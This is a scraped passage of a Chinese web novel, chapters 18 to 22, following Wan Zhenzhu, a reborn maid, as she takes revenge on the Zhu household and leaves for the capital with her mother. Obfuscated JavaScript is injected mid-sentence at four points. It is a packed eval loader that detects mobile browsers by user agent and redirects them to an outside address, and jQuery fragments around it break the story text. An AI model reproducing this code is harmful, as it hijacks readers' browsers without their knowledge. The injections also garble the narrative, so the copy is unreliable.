赵济世应下,他亲自去跟朱府的外院护卫家丁们打探情况。若是往常,赵济世会留了信任的义弟卢泰山继续守护在齐王世子身边。 可惜,在回程之前,义弟卢泰山先回北镇边地去安排义弟们的亲眷。也同时安排了得来的那一笔横财。 卢泰山不在,赵济世心头也念着家乡的月和人。 匆匆打探,赵济世知道情况。却是在知道情况时,赵济世还瞧着一点不和谐之处。只是瞧出来了,赵济世没多嘴多舌。 在别人府上做客,哪怕有小动作也得暗地里偷偷的。明面上总要给主人家留足体面。赵济世只把一些小事记于心上。 这一晚,朱府闹翻天。朱三姑娘朱凤曦被人匆匆唤醒。尔后,她没了睡意。 “娘出事了……”朱凤曦不敢相信大丫鬟白玉的话。 这等时候的朱三姑娘顾上旁的,她只想赶紧的去母亲跟前。 朱三姑娘匆匆离开梧桐院。等她到了母亲身边时,兄长们来了。 至于父亲,朱三姑娘知道父亲不在府上。若不然的话,凭着父母感情好,这时候父亲应该会爆发雷霆之怒。 朱府上养着府医。此时大夫也被请来内宅。 大夫瞧过情况,诊脉后,他的脸上全是为难之色。 “大夫,我娘情况如何?”朱二公子朱禅着急的很,抢在大哥前面开口问话。 此时的朱大公子朱封神色之间也有忧虑,只是见弟弟开口寻问,他便等着大夫的回府。 “大夫,我娘会无恙的,对吗?”朱凤曦跟大夫求一个保证。 “老朽先开方子替夫人解毒,情况如何,还要后续的治疗。”一把白色胡须的府医很为难。 他是老大夫,不是神仙,这能不能治好?只能说谋事在人,成事在天。 话罢,大夫赶紧写方子,又吩咐随来的药童去抓药。 至于朱夫人身上的伤,如何拔毒,当然是在老大夫的指导下,由着老大夫的亲闺女动手。 毕竟老大夫年岁大了,可男女有别。他家闺女是学医的医女,对待女患者时,医女行事则方便许多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15074254|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朱三姑娘朱凤曦一直担忧母亲。可母亲为何出事,事情详情如何?朱凤曦又过问一回。 这一问,朱凤曦方才知道院子起火是人为。 母亲被人伤害,背后捅刀,也是有人加害。 至于那一个同样被捅刀的丫鬟,朱三姑娘朱凤曦不在意。 或者说那一个被捅刀的丫鬟伤不重。朱凤曦的心里反而有了一些恨意,受伤丫鬟被朱三姑娘迁怒上。 受伤丫鬟叫诚儿,诚儿虽被捅刀,却没有伤及要害。 可朱府的杨夫人不同,她被人捅刀在要害处。不止如此,那刀子上还被抹了毒。 天黑了,朱府闹一场。天亮了,似乎一切平静,可平静之下潜流暗涌。 赵济世出朱府一趟。他凭着自己的记忆,又来到昨晚上瞧见的一处铺子。 恰巧,万珍珠今日也出府,也来这一家铺子。 赵济世想到万珍珠的身世,又想到朱府昨夜的一场大戏。 “万姑娘有礼。”赵济世客气见礼。 赵济世的出场让万珍珠很惊讶。她还以为当日一别,二人不会再见面。哪料想又重逢。 “赵大人有礼。”万珍珠也客气一回场面话。 “……”赵济世在打量了万珍珠。此时此刻,赵济世的心中准备调整一下对于这一位万姑娘的估量。 “去镐京都一趟,又得万大人恩赏。如此,某在此也谢过万姑娘当初给的机会,让某得利一回。”赵济世说着场面话,语气平平淡淡。 “银货两清,赵大人帮忙一回,您拿了您应得的。”万珍珠看得清楚,赵济世帮衬了是恩义。便是不帮,那也是人之常情。毕竟有风险嘛。 可对方帮衬了,结果是好的。所以万珍珠很感激对方。 “当然,那是爹爹跟赵大人银货两清。而我,却欠了赵大人一份天大的恩情。”万珍珠指一指自己。 哪怕欠人情债,可这会儿的万珍珠心情太好了。 想一想亲爹已经派人来接她和亲娘,她们母女很快就会离开这留了坏印象的朱府,离了她心里头的劫。 万珍珠心情甚好,觉得天蓝了,天晴了。 18. 第18章 第18章 朱府内宅,节度使朱瑞一归府,他就听到夫人出事的消息。 朱瑞心神一震,他暗想,谁加害嫡妻? 正院。 朱三姑娘朱凤曦从医女口已经知母亲身体里的毒初步拔掉。 至于后续如何?还要看后续的治疗情况。 可瞧着府医为难的神情,又让朱府再请神医的态度。朱凤曦就有一种不好的预感。 在朱凤曦心神难安时,父亲归府。朱凤曦跟二位兄长一样,这时候很盼着父亲在。 父亲在,兄妹三人更有主心骨。 朱瑞一进正院,瞧着神色低迷的三个儿女。 朱瑞没顾得及安慰儿女,他先去瞧了嫡妻情况,又寻问了一番府医。 “既如此,府上会张榜再求医。”朱瑞在府医吃一个闭门羹,府医自曝医术不足。 朱瑞当然是准备再求名医。只目前还让府医继续治疗嫡妻。 尔后,瞧过晕厥的嫡妻。朱瑞开始差心腹管事去审问一番昨晚的情况。 “堂堂节度使府上的主母被人暗害。荒唐。”朱瑞讲这一句话时,他的心头怒火很甚。 只是怒火虽盛,朱瑞的神情却是一片冷漠。他的心头更在揣度了,谁人干的,有何利益? 要说刺杀与暗害,杀一妇人,不得要处。真是想加害朱府,朱瑞自认他才是朱氏一族的擎天白玉柱。 如今加害他的嫡妻,这手段如何瞧,那都太下作了。 被朱瑞腹诽太下作的万珍珠,她这会儿与赵济世在一处点心铺子的后宅院里。 二人在谈话。或者说赵济世在跟万珍珠讲了他昨晚的一点小发现。 “……”万珍珠沉默。 明明很用心,结果还是泄漏风声。万珍珠在想,她是不是脑子不够用,如此不够谨慎?又或者是赵济世太利害。 “赵大人,有些事做了,不妨不再提。”万珍珠脸上的神情是平平无奇。 万珍珠的一双眼眸子直视着赵济世,她瞧着赵济世也在打量她。 “罢了,在赵大人面前,我挺坦诚。我这人就是如此的恶毒。”万珍珠承认了。 反正在这屋里就她二人,她认了又如何。出这屋,她一个字也不会再认。 “……”这一回轮到赵济世沉默。又过片刻,赵济世说道:“万姑娘放心,您留下的一点小线索,某昨晚已经替你清扫干净了。” 这话把万珍珠咽住。她有一点不敢相信。 万珍珠的一双眼睛瞪成了杏儿眼,圆圆的,还挺漂亮。 “赵大人不觉得我太恶毒了,还不够善良吗?”万珍珠问道。 万珍珠可知道这一个世道里,男子们喜欢的是什么样的女子?那一定是温柔善良体贴大度。 再说明白点,就是贤妻良母。贤惠的遵从了三从四德。 这三从,那就是在家从父,出嫁从夫,夫死从子。可谓是整一个封建时代的糟粕。 恶毒,这等名字可不好听。反正男女有别,各有标准。 用在男人身上的自我洗白之语有什么“无毒不丈夫”等等。 可用在女子身上的,那就是“唯女子与小人难养也”等等。双标嘛,从来是标准不同,待遇不同。 “因果循环罢了。某有眼睛,某能看出万姑娘的做为乃反击之策,非是纯粹恶毒害人。”赵济世给出自己的答案。 以德报怨,何以报德。赵济世来了朱府几日。 对朱府发生的一些事情,赵济世也了解一些。 万珍珠早前请赵济世给镐京都传话。赵济世有先入为主的观念。 等旬太监一来,这一位太监见不到万珍珠。万珍珠还继续在朱府当小丫鬟。 有些事情不必再说,只看结果,赵济世就已经闹清楚症结在哪儿。 人心之恶,不可揣量。赵济世从一个边地男儿一路奔波,一直奔前程,奔到齐王世子身边。 赵济世见过的世面很多。他可不信什么真善美。 或者说吃人不苦内眷的恶人,赵济世遇上过。 太善良了,没几本硬心肠,赵济世走不到今天的这一步地位。哪怕还是齐王府的武官。 可很多时候,有人的地方就有江湖,就有纷争。 赵济世与人斗,其乐无 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“再则说,万姑娘还说欠某一份人情债,某当然会站在万姑娘这一边。毕竟,待他年万姑娘前程似锦,某结一善缘,还盼得一善果。”赵济世把利益摆上桌。 此时此刻,赵济世是欣赏面前的万姑娘。这般把恶毒讲出来的美貌女子,她落进赵济世的眼中,那算不得什么真恶毒。 不过是刀子嘴罢了。嘴毒一点,自保而矣。 在心头,赵济世未尝不是感慨一番。若是万姑娘乃一男儿,借着其父万内相的帮衬,凭一身本事,一定能族谱单开,挣得一个家族的开端基业。 可惜了,奈何万姑娘是女儿身。一去镐京都,女儿身想求一个富贵前程似乎容易,实则根基浅薄似浮萍。 高门世家哪里瞧得起太监阉人,更不肖说太监的亲眷。便是有乐于结亲之辈,一旦太监的风光不再,其亲眷曾多威风,反噬就会更大。 此等现实的人间光景,可谓是德不配位,必有灾殃。 19. 第19章 第19章 朱府迎回真正主人,朱瑞主持大清理。一时间风声鹤唳,多的是人心惶惶。 可这些慌乱之人里不包括了万珍珠。万珍珠很坦然。 哪怕万珍珠干了亿点点的小事。就是让杨夫人先体验一回被人复仇的感觉。 朱府,家下人房。 “最近当差,要注意些。”牛嬷嬷跟亲闺女叮嘱道:“莫惹上面主子们的眼,万一被罚了……” 话至此,牛嬷嬷心头的一根弦突然动一动。 她又想起昨天晚间,母女二人睡一屋时。女儿跟她凑一张榻上。母女二人嘀咕的悄悄话。 这会儿牛嬷嬷脑子里的水份貌似少了一些。 牛嬷嬷在想,等下一回旬太监再登门拜访,她不是透露了闺女。瞧着这一二日府上大清理,那些被罚了,被打死的奴仆们…… 牛嬷嬷跟整个府邸里的奴仆们一样,她也心生惶恐。 往昔吃饱饭,穿暖衣,那又如何? 一旦人面临了死亡,那等死亡的威胁下,除非麻木的没一丝希望。不然的话,总会想奋起一点点的反抗精神。 牛嬷嬷被杨夫人安排的招,招招是中了要害。 可如今府上出现大混乱,又是在清洗。牛嬷嬷在这等大环境的巨变下,再被亲闺女洗一洗脑子,倒一倒脑子里的水份后。 牛嬷嬷对于离开朱府,她生出来一点点的念想。 万珍珠一直关心着亲娘。在亲娘叮嘱一番话后,她一一应下。 不过嘛,在母女二人的谈话之间。万珍珠还是察觉了亲娘态度上的一些改变。言语之间,有些态度瞒不了。 万珍珠心头一动。又转念一想,无妨。且先不急。 等旬太监登门后,一切改变自然而然。 朱府,梧桐院。 从母亲住的院子归来,朱凤曦心情很坏,坏透了。 朱凤曦跟身边的一等大丫鬟白玉问道:“昨个侍候母亲小丫鬟,就是中了刀子那一人,她情况如何?白玉,你去问问。” 在正院时,朱凤曦顾不上详细的问一问。如今回到梧桐院,朱凤曦上心一回。 大丫鬟白玉应下话,尔后,忙去问情况。 白玉离开,朱凤曦不在意。这会儿她的心绪复杂。 朱凤曦在还想着父亲讲过的一番话。她左右思量。 约过一刻钟,大丫鬟白玉归来,她跟朱凤曦禀话,道:“姑娘,那受伤的丫鬟伤不算太重,如今人已经醒来。” “她倒好运气。”朱凤曦呢喃一句。 这会儿的朱凤曦想着一直没醒来的母亲,她的心情更坏。 明明一样的被人加害,母亲中毒了。一个丫鬟却是无大碍。 问朱凤曦的心情,她不爽利。朱凤曦说道:“那丫鬟打发去庄子上吧。” 朱凤曦觉得那一个叫诚儿的丫鬟太晦气,她不想在朱府里再瞧见这一个诚儿。 大丫鬟白玉听着姑娘吩咐,忙应下。这等小事,不过一句吩咐。 对于朱三姑娘朱凤曦是一件小事。可对于天降祸事的丫鬟诚儿而言,就很糟糕了。 上面贵人一句话,落这等场景里就会成为了主宰奴仆一辈子的前程命运。 诚儿能到正院当差,她是家生子。不止她在府里当差,她的老子娘和兄弟一样在府里当差。 诚儿被朱三姑娘一句话打发了。这消息一传开,诚儿的老子娘和兄弟一个屁也不敢放。 丫鬟诚儿的亲人们更怕,怕上头的主子们继续迁怒。 对于醒来的丫鬟诚儿而言,天塌了,祸事了。 明明还应该养伤。可这会儿三姑娘一句话,要撵了一个小丫鬟。 诚儿伤是没得养,人也得赶紧的滚去庄子上过苦日子。至于结局如何? 貌似无人在意。便是丫鬟诚儿的老子娘和兄弟也想忽略掉诚儿这一个人。 朱府缺了主母。节度使张了榜,广邀各方名医一事在永州地界传开。 哪怕朱府没了主母,可有主君。于是旬太监又登门。 牛嬷嬷被召去前院见客人。杨嬷嬷还在牛嬷嬷跟前又嘀咕一回。 可朱府的主母还在晕厥中。朱府的风波貌似平静,实则潜流暗藏。 在这等情况下,牛嬷嬷左右摇摆,她给亲闺女说动了一丝丝念头。 杨嬷嬷当然瞧出来了。可主母晕厥,杨嬷嬷也没胆子假传“圣旨”,拿了主母的命令去安排人手做戏吓唬人。 于是只能眼睁睁 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可那会儿的苦,更主要还是吃不饱的苦。 如今呢? 此时,牛嬷嬷的目光落在旬太监的身上,她迟疑一下,道:“你说吧。” 牛嬷嬷太知道惹不得万忠良。以前的万忠良是庄稼汉,如今的万忠良是没根的太监。 在牛嬷嬷心里,那太监的心更狠更毒。 “干爹说,让干儿子此来不止迎了干娘回镐京都。还要迎了珍珠妹妹一起回镐京都。”旬太监说话时,态度是客客气气。 “……”牛嬷嬷心神巨震。 “至于干儿子上一回来拜访时,干娘您的一席话,干儿子全当没听过。回了镐京都,干儿子也不敢在干爹跟前多嘴多舌。干娘,您请放心。”旬太监又保证一回。当然,旬太监会这般客气,纯粹就是疏不间亲。 在旬太监的心里,干娘老糊涂了。可谁让干娘给干爹生了闺女。珍珠妹妹又是干爹唯一的嫡亲血脉。 不看僧面看佛面,即便是为了珍珠妹妹的体面,干爹也不会真跟干娘计较。 20. 第20章 第20章 朱府内宅,梧桐院。 朱凤曦前面知道了旬太监登门拜访一事。尔后,大丫鬟白玉又禀话,道:“姑娘,府上出了一件大事。” “……”朱凤曦抬眼,使一个眼色。 瞧着主子姑娘的神情,白玉忙继续讲道:“旬太监登门拜访,此来是为了迎接牛嬷嬷母女二人。据说牛嬷嬷是宫廷大戏人万内相的妻子。梧桐院原来的三等丫鬟万珍珠是万内相的女儿。” “奶嬷嬷是万内相的妻子?”朱凤曦问一句。 “是的。”白玉肯定的回道。 “这消息错不了,旬太监亲口讲的。如今还奉上命要迎了牛嬷嬷母女回镐京都去享福。”白玉一脸的肯定神情。 在心里,白玉可羡慕了万珍珠。有这样一个富贵的爹,这前程得多好? 光想想,白玉就忍不住在心里偷偷的感慨一回,万珍珠的命真好。 “牛嬷嬷的闺女……”朱凤曦想了想,她院里的三等丫鬟万珍珠。 朱凤曦想起来了,那一个不爱说话的小丫鬟。模样清秀,尚算漂亮。 “她倒是有运道。”朱凤曦点评一句。 “可惜……”朱凤曦可惜二字一讲,后面的没讲出来。 可落朱凤曦的心里,自个最清楚。许是旁人会羡慕了太监的富贵。可出身世家大族的朱凤曦不羡慕。 百年的皇朝,千年的世家。朱凤曦所在的朱氏一族,那便是千年的世家。 要羡慕,也是让外人羡慕了她家。她哪会羡慕了一个太监的女儿。 太监没根,再是富贵,也如浮萍。毕竟系于帝王一身的富贵,太肤浅了,太单薄了。 “罢了,白玉。既然是府上的人,对方有富贵前程,我们自然得祝福对方,结一份善缘。”朱凤曦这会儿还吩咐了白玉备了贺礼,再亲自给牛嬷嬷母女送去。 白玉对于主子姑娘的吩咐满口应下。给人送礼这等差事,从来是美差。 毕竟得着贺礼的人,只要知道礼数,也会给跑腿的封了喜钱,大家伙一道沾沾喜。 朱府前院。 万珍珠被唤来一趟。在这儿,她跟旬太监正式碰面。 “义兄有礼。”万珍珠在对方介绍自己的身份后,万珍珠客气的福一礼。 既然是亲爹的干儿子,万珍珠心头明白,这是自己一系的人物。能拉拢就拉拢,甭管如何,表面功夫得做足。 “快快请起。”旬太监客气回道:“干爹在镐京都也想念干娘和妹妹。咱来,那就是替干爹了心愿。” 这会儿旬太监是真客气,不止客气,态度还热忱。 一言一行里,只要万珍珠一开口,旬太监一幅侧耳聆听的模样。 这等好义兄,瞧一瞧就让人满意。当然,这是对方的表面功夫。 至于私下里是不是有两样面孔,这对于万珍珠来说,目前不是重要事。 “……” 就在诸人商议后,万珍珠母女要给旬太监接走时。 朱三姑娘朱凤曦赠的礼送来了前院。 对此,牛嬷嬷很感激,万珍珠也感谢。 “我想去梧桐院见一见姑娘。真要离开,总得跟姑娘亲自道别。”牛嬷嬷对于朱三姑娘有感情。 毕竟落牛嬷嬷的心里,朱三姑娘可是吃她的奶水长大。 “嗯……”万珍珠瞧着亲娘的态度,她能说什么? 反正都要离开了,且随亲娘心意一遭就是。 “全依娘的。”万珍珠态度明确。 旬太监瞧了干娘与义妹的态度,他没二话,立刻同意。 这一厢,旬太监去感激了朱府的主君朱瑞。 那一厢,万珍珠母女再回梧桐院。 之前来时,万珍珠母女是梧桐院的家下人。 如今再临,万珍珠母女的身份变了。毕竟有旬太监的开口,朱府主君早有话,万珍珠母女二人的身契那是双手奉上。 不止如此,朱府还是大方承诺,要给万珍珠添一份嫁妆。 这乃是节度使朱瑞的态度,不止是为了给万珍珠母女添光彩,更是为了给镐京都的万内相赔罪。 赔什么罪? 当然是让万珍珠母女在朱府里当差,这是使唤贵人,唐突了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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万珍珠知道亲娘对朱凤曦有感情。万珍珠不吃味。 万珍珠就觉得齿冷的,重活了一回,她知道后续。 朱凤曦这一位主子姑娘哪里有真情?前世之时,朱凤曦是如何折腾得万珍珠母女没了后嗣血脉。万珍珠一一记得。 要知道前世的万珍珠就一个独女。独女啊,还让朱凤曦拿去做筏子,然后呢,人没了。 21. 第21章 第21章 万珍珠有重生的记忆,她能淡然处之朱三姑娘的惺惺作态。 可牛嬷嬷不能,牛嬷嬷这会儿被朱三姑娘的一点虚伪打动。那是激动的一时间落泪了。 “……”万珍珠动一动唇,想说些什么,最后闭嘴了。 万珍珠想着反正马上就要离开永州地界,这狗屎的朱府,往后再也不来。 既然不会有交集,那么,也不必苛刻了亲娘的一点感情。 人嘛,活一辈子,总归是人情味浓。至少落万珍珠的心里,她亲娘有感情,有人味,不是什么铁石心肠。 “嬷嬷,你此去镐京都,一定要好好的。”朱三姑娘叮嘱一回。 “姑娘……”牛嬷嬷感动啊。 瞧着这二人的做派,万珍珠都怀疑了,若不是朱三姑娘要脸。这奶母和主子姑娘是不是要抱一起痛哭一场? 朱三姑娘哄一哄牛嬷嬷,尔后,哄得牛嬷嬷破涕为笑。 “珍珠妹妹。”朱凤曦唤万珍珠时,那语气很亲切。 这话真让万珍珠有一点遭不住。听听,还珍珠妹妹。 前世万珍珠让朱三姑娘唤过的称呼有“张忠家的”。 对,就是让朱三姑娘给栓婚的,那张忠对于主子忠心一片。奈何就是短命鬼。 想一想前世,万珍珠心疼,疼的难受,又是堵的慌。 “姑娘,您唤一声珍珠即可。您唤了妹妹,我哪当得起。”万珍珠客客气气。 万珍珠的心里,她亲娘就生她一个闺女,真没给她生了姐姐妹妹。 朱三姑娘落万珍珠心里没好印象。虽然前世的债,万珍珠笔笔记着。 可到底这一辈子嘛,万珍珠已经刀了罪魁祸首。 至于朱凤曦? 万珍珠懒得理会了。反正在朱府,她埋了够多的坑。全是朱府人自己欠的债。 那些坑什么时候会坑人?万珍珠真不管。她只挖坑,就等倒霉蛋自个跳进去。 “珍珠妹妹,我唤一声,你担得起。”朱凤曦这会儿笑了,一笑之间,灿烂若春花盛开,美的动人。 牛嬷嬷在旁边帮衬着,她道:“珍珠,姑娘仁善,如今将别,你啊,受了姑娘的好意吧。” “全听娘的。”万珍珠没反驳。 就像亲娘说的,反正要离开了,朱三姑娘仁善不仁善,与她不相干系。 如今大家就是做些场面功夫罢了。就当是给彼此一点体面。 朱府内宅,大厨房。 陈囡囡在摘菜,她是卖身进朱府的丫鬟。她的容貌不错。 “囡囡,你怎么落了厨房里当差。”跟陈囡囡一起摘菜的小丫鬟关切问了话。 “在哪当差一样。何况灾年饿不着厨子。在厨房当差最能混一个肚儿圆。我喜欢厨房事。”陈囡囡回道。 陈囡囡,这是卖身进朱府后,她给报上去的名字。 其时陈囡囡还有一个名字,她叫陈月明。 陈月明,曾是月明照旧人,逐光灿灿满意庭芳。 陈月明曾经有一个幸福的家庭,奈何,在朱府的杨夫人一手操控下,她家破人亡。 得了万姑娘的帮衬,她入朱府,她能来复仇。 对于未来会如何?陈月明不甚在意。因为唯一的弟弟已经被万姑娘收留,还许了一个前程。 陈月明成为了陈囡囡,她就想一件事情。那便是替死去的几十口亲人复仇。以血还血,以牙还牙。 当然是复仇归复仇,且不心急。陈月明还盼着能有脱身的可能。 陈月明还想着再跟唯一的弟弟重逢。她总想见证了弟弟成婚生子,陈氏再添血脉小辈,爹娘有祭祀血食的孙儿满堂。 朱府内宅,梧桐院。 万珍珠附合了亲娘,一时间,花厅内气氛融洽。 就在气氛甚好时,前院差人送来礼单。 万珍珠接过,她方知道这是义兄旬太监让人送来的。 这将要送礼给她添嫁妆的人,乃是朱府的主君朱瑞。 “万姑娘,朱府盛情。请您笑纳。”前院的管事嬷嬷说话非常客气。 万珍珠接过礼单,她一样客客气气的谢过一回。 至于牛嬷嬷?牛嬷嬷不识字。 可瞧着礼单,牛嬷嬷还是忍不住问一句。于是管事嬷嬷说了这添礼的用意。 “给珍珠添嫁妆,府上太客气,这礼也太贵重了。”牛嬷嬷不识字,可她识数。 瞧着厚厚的礼单,闺女拿过礼单打开略一瞧。 牛嬷嬷不看旁的,只看着长长的字串儿,她就咋舌。 这会儿的牛嬷嬷对于朱府的印象更好,好的无以复加。 “我们母女得府上照顾多年,如今还得重礼,太过了,太过了。”牛嬷嬷嘴里这般说。 可她的心里还是开心的,毕竟白得的东西,哪能不欢喜。 特别是知道这是给闺女的嫁妆,牛嬷嬷更高兴。 出嫁的女儿,一旦做了婆家的新妇。想在婆家立稳脚跟。除了有子嗣外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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不妨什么,就是嘴皮子的功夫罢了。对此,旬太监拿了好处,他当然一口应承。 反正回了镐京都,旬太监美言不美言,他不说,谁知道? 拿钱不办事,拿钱办成事。旬太监也要左右思量的。 毕竟太监当差,这不止想挣了黄白之物的金银。那还要瞧了上头的风声。 这风声从何吹起?当然是瞧了天子的圣意。 不逆了圣意,顺嘴替人说说好话,那是可以的。 一旦跟圣意不同,不踩几脚,那都是旬太监宽宏大量了。 “咱当什么大事,原来朱大人只求一二美言。咱应了。”旬太监嘴上回话,在此时此刻,那是应得漂漂亮亮。场面功夫嘛,从来是你好我好大家伙。 至于真的好不好?这就是仁者见仁,智者见智的事情。 22. 第22章 第22章 梧桐院里,一场戏后,万珍珠和亲娘一道告辞离开。 朱凤曦在送走牛嬷嬷母女二人后,她的心情算不得好。 “姑娘有心事?”一等大丫鬟玛瑙关切的问一回。 “姑娘可是担忧夫人?”一等大丫鬟翡翠一样关切的问一回。 对于两个贴身大丫鬟的关切问话,朱凤曦叹息一声,回道:“我担忧母亲,她一直未曾醒来。” “今个瞧着奶嬷嬷也要离开,一时伤感。”朱凤曦不会说,她在心里吃味。 万珍珠将去镐京都,一个曾经她都懒得多瞧一眼的小丫鬟将来会有大前程。朱凤曦有一点惊讶。 惊讶之余,倒没有太多旁的情绪。至于羡慕什么的? 一个太监的女儿,又不是皇家公主,哪轮得到朱三姑娘朱凤曦来羡慕。 朱凤曦只是由人见己,她想到了一直晕厥着不曾醒来的母亲杨夫人。 朱府这样的高门大户,可不能一直缺了当家主母。 特别是夏日一过,入秋后,朱府还有两场喜事。分别是朱凤曦的二位兄长要迎娶了未来的二位嫂嫂过门。 “姑娘,夫人吉人自有天佑,一定会平安无恙。”大丫鬟玛瑙劝话道。 “姑娘,夫人最是仁善不过,老天爷会心疼心善的贵人。夫人一定会平平安安。”大丫鬟翡翠也劝话道。 两个丫鬟的话,朱凤曦听一听,不曾多么相信。 朱凤曦的眉眼之间有愁色,她在担忧了母亲杨婉芯。 大丫鬟玛瑙和翡翠还想再劝,可朱凤曦摆摆手,让二人不必再劝了。 “你们放心,我心头都有数。就像你们说的,母亲一定会平平安安,康复痊愈。”朱凤曦自我安慰一回。 这一点子的念想支撑着朱凤曦。在心头,她未尝不是期盼了府上张贴悬赏,广请名医一事成功。哪怕闹得沸沸扬扬,只要能治好母亲,朱凤曦只会欢喜。 “若是母亲早些醒来,待康复,今年秋,母亲还要吃了二位嫂嫂的新妇茶……”朱凤曦又呢喃一回。 “我可知道的,母亲一直盼着二位兄长早日成家立业。”朱凤曦的眼中又含了泪花。 只是这一回的朱三姑娘没哭出来。她的神色之间有怀念,似乎在回想了曾经跟母亲的快乐时光。 “……”大丫鬟翡翠嘴唇嗫嚅一回,她似乎想说些什么。最后,翡翠没讲出来。 朱凤曦却是注意到贴身丫鬟的举动,她问道:“翡翠,你想说什么?” “……”翡翠瞅一眼玛瑙,尔后,一咬牙,狠心道:“奴婢听着一些谣言,不中听,怕讲出来坏了姑娘的心情。” “既然是谣言,你便是讲一讲。谣言止于智者,我又不是糊涂人,一点子的谣言便会让我信了。”朱凤曦让翡翠讲了真话。 一听翡翠这话,玛瑙在旁抿一下嘴唇。 玛瑙想到一事,这会儿玛瑙心头颤抖一下。她觉得有些谣言不传也罢,一旦让主子姑娘听了太容易出事。 “姑娘,有些流言蜚语在传徐家姑娘克亲。还说若非是如此,大公子早应该迎娶徐家姑娘入门。哪里会因着守孝,拖了三年又三年。”翡翠垂低着头颅,快言快语得说出府上的谣言。 这谣言真不真?有真有假。 搁朱凤曦心里,她有亿点点相信的。谁让未来的大嫂嫂徐氏实在是太出乎意料之外。 徐家女与朱凤曦的大哥朱封订亲,订亲后,徐家女先是祖父去逝,接着又是祖母去逝,尔后,再遇着徐父去逝。 徐家女接连守孝,这把朱家大公子朱封也拖成大龄剩男。 落朱家人心里,这徐家女人未嫁进门,克亲的名声不是一日两日。那是早早就有被蛐蛐着。 只是往昔没闹大,这一回,就好像在朱府里闹大了。 “尽胡说。”朱凤曦的神情恼了。 哪怕在心底,朱凤曦也觉得谣言不是谣言。 可当众之时,朱凤曦还要给未来的大嫂嫂做体面。夫妻一体,嫂嫂没得体面,同时也会落了兄长的体面。 “玛瑙,你替我去一趟正院。告诉了母亲的陪房杨嬷嬷。让杨嬷嬷压一压内宅的风声。可不能再闹腾下去,没得坏了府里的清静。”朱凤曦吩咐一回话道。 主母晕厥,朱凤曦做为朱府的嫡出姑娘,她出面压一压局面,无可厚非。 可朱凤曦清楚着,只要上头有吩咐。杨嬷嬷能耐不小。让杨嬷嬷来出头办事,朱凤曦挺放心的。 一等大丫鬟玛瑙得着主子姑娘的吩咐,忙应下话,尔后,她离开去办事。 屋内,朱凤曦留了大丫鬟翡翠。旁的丫鬟婆子让朱凤曦打发出屋子。 “翡翠,你说一说,那些谣言会不会是真的?徐家姐姐命太硬了?”朱凤曦这会儿跟大丫鬟翡翠单独相处,她还是一连两问,倒底吐露心底的真心话。 “回禀姑娘,奴婢觉着传的谣言不全错,那些谣言也没有假话。徐家姑娘就是八字太硬,刑克诸亲。”翡翠也实话实说,她讲一回自己的看法。 “……”朱凤曦听过大丫鬟翡翠的话,她真的又心疼一回大哥。 奈何这婚事订下了,三书六聘,走六礼的章程都差最后一步的迎亲。 高门大户结良缘,结的是两姓之好。一旦婚事订下,想反悔的话,从来是一件难上加难的事情。 因为良缘若不成,那注定会让两个家族成了仇家。 没谁会想无缘无故的结仇。特别是高门大户里,更想着结亲。 贤惠良母,貌美侍妾。大家公子,高门郎君的亲事,那嫡妻从来是利益的媾和。 美妾才是拿来消遣的玩意儿。于是嫡妻美不美,那不重要。嫡妻贤惠不贤惠,也不是一等一的大事。 岳丈与女婿家的利益媾和,那才是顶顶重要的要紧事。旁的,皆可忽略。 梧桐院又发生什么?朱府大宅院里的悲欢离合,往后跟万珍珠没干系了。 一旦离开,万珍珠往后要去的广阔天地是镐京 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098613|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都。 永州这个地界,万珍珠在心底表示,狗都不回来。 当然,在离开朱府前,万珍珠得着故人书信。 一打开,万珍珠瞧见赵济世的恭贺之语。在信里,赵济世还留着一个地址和几个人名。 不是什么大事,不过是结一桩良缘,好人就做到底。赵济世在镐京都有结交上一些的人脉,如今牵线给了万珍珠。 “无事献殷勤,非奸即盗。”万珍珠无声的嘀咕一回。 “不过……既然是赵大人的美意,凭赵大人的一番好名声,想来一定是善意的。”万珍珠又无声的呢喃一回。 只能说对于赵济世这人,得了对方的帮衬,万珍珠心有感恩,免不得给对方带上一点点的好人滤镜。 虽然在心底里,万珍珠也告诫过自己。真的是烂好人,哪里可能从边镇寒门小子一路奋斗成为了大赵皇长孙身边的亲信武官。这里面水深着。 “珍珠,吃茶。”牛嬷嬷瞧着闺女一直看了一封书信,她唤一回。 这会儿万珍珠和亲娘在朱府前院的花厅做客。花厅内,牛嬷嬷母女二人还是被招待的贵客。 从哪看出来?当然是摆在花厅里的重礼。 刚才万珍珠在看信,朱府丫鬟得了牛嬷嬷的吩咐,那是拿着礼单对照各色礼物一一介绍一番详情。 珠光宝气,玉翠锦缎等等,哪一样都精美,全都入了牛嬷嬷的眼。 此时此刻,牛嬷嬷吃茶压惊。她被重重的厚礼震惊了。 “好。”万珍珠收起书信,不拒绝亲娘的话。 “好茶。”万珍珠浅尝一小口,入口之后,品茗甚香,让人回味。 